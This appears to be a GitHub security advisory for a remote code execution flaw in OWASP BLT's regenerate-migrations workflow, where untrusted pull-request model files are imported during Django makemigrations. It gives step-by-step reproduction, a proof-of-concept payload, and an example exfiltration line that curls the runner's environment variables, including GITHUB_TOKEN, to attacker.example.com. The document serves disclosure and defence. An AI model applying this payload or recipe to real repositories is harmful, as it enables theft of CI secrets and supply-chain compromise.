RCE in Github Actions via untrusted Django model execution in workflow

High **DonnieBLT** published **GHSA-wxm3-64fx-cmx9** last week

Package

OWASP-BLT/BLT (GitHub Actions)

Affected versions	Patched versions
All versions using the current workflow file	V2.1.1

Description

Summary

An unsafe `pull_request_target` workflow allows any unauthenticated user to execute arbitrary code on the GitHub Actions runner with write permissions. The workflow copies Django model files from untrusted pull requests and executes `makemigrations`, which imports attacker-controlled Python code at runtime — enabling remote code execution in a privileged CI environment with access to `GITHUB_TOKEN` and repository secrets, potentially leading to repository compromise and supply chain attacks.

Details

The vulnerability exists in `.github/workflows/regenerate-migrations.yml` and is caused by three unsafe patterns chaining together:

1. Privileged trigger — `pull_request_target`

```
on:
  pull_request_target:
```

`pull_request_target` runs in the context of the base repository, not the fork. It executes with full `GITHUB_TOKEN` write permissions even when triggered by a pull request from a completely untrusted external contributor.

2. Copying untrusted PR files into the trusted workspace

```
git show "$PR_SHA:$file" > "$file"
```

This copies attacker-controlled files — including `website/models.py` — from the PR branch directly into the trusted runner workspace.

3. Executing Django migrations

```
python manage.py makemigrations
```

Django's migration system imports model modules to inspect them:

```
import website.models  # executes all module-level code
```

Any Python code at module level in `models.py` is executed at import time — including module-level statements, decorators, metaclasses, and signal handlers.

The vulnerability is the **chain** of all three: a privileged trigger + untrusted file copy + implicit code execution via Python import.

PoC

Live evidence:

- PoC Pull Request (diff): https://github.com/S3DFX-CYBER/BLT/pull/7/files
- Workflow run (execution evidence): https://github.com/S3DFX-CYBER/BLT/actions/runs/24148302938/job/70468027195

Steps to reproduce:

Step 1: Fork the repository.

Step 2: Add the following payload at module level in `website/models.py` (no existing code needs to be modified):

```
import os

print("RCE_EXECUTED_FROM_MODELS")
print("UID:", os.getuid())
print("CWD:", os.getcwd())

raise Exception("RCE_CONFIRMED")
```

Step 3: Open a pull request targeting the base repository's `main` branch.

Step 4: Apply the label `regenerate-migrations` to the pull request.

Result: The workflow triggers via `pull_request_target`, copies `website/models.py` from the PR branch into the trusted workspace, runs `python manage.py makemigrations`, Django imports `website.models`, and the payload executes in the privileged runner environment. The job exits with **exit code 1** at the `Run makemigrations` step — confirming successful code execution.

> In a real attack the payload would execute silently without raising an exception, exfiltrate secrets, and the workflow would appear to complete normally.

A realistic exfiltration payload would look like:

```
import subprocess
subprocess.run(
    ["curl", "-d", "@/proc/self/environ", "https://attacker.example.com/exfil"],
    check=False
)
```

This silently sends all environment variables — including `GITHUB_TOKEN` and any configured Actions secrets — to an attacker-controlled server.

Impact

This is a **Remote Code Execution (RCE)** vulnerability via poisoned pipeline execution (CICD-SEC-4).

Maintainers are impacted via:

- Repository write access through the exposed `GITHUB_TOKEN`
- Potential for unauthorized workflow modification
- Exfiltration of all Actions secrets configured on the repository

Contributors are impacted via:

- Compromised CI integrity — malicious code can be silently injected into the build pipeline
- Future builds may produce tampered artifacts

End users are impacted via:

- Supply chain attack risk if compromised builds are published or released downstream

Attack is triggerable by **any external contributor** who can open a pull request, provided a maintainer applies the `regenerate-migrations` label — a realistic social engineering vector requiring no elevated permissions from the attacker.

Credits

[S3DFX-CYBER]

- Savio D'souza

Severity

High 8.8 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	Required
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-40316

Weaknesses

- CWE-94
- CWE-95

Credits

S3DFX-CYBER Reporter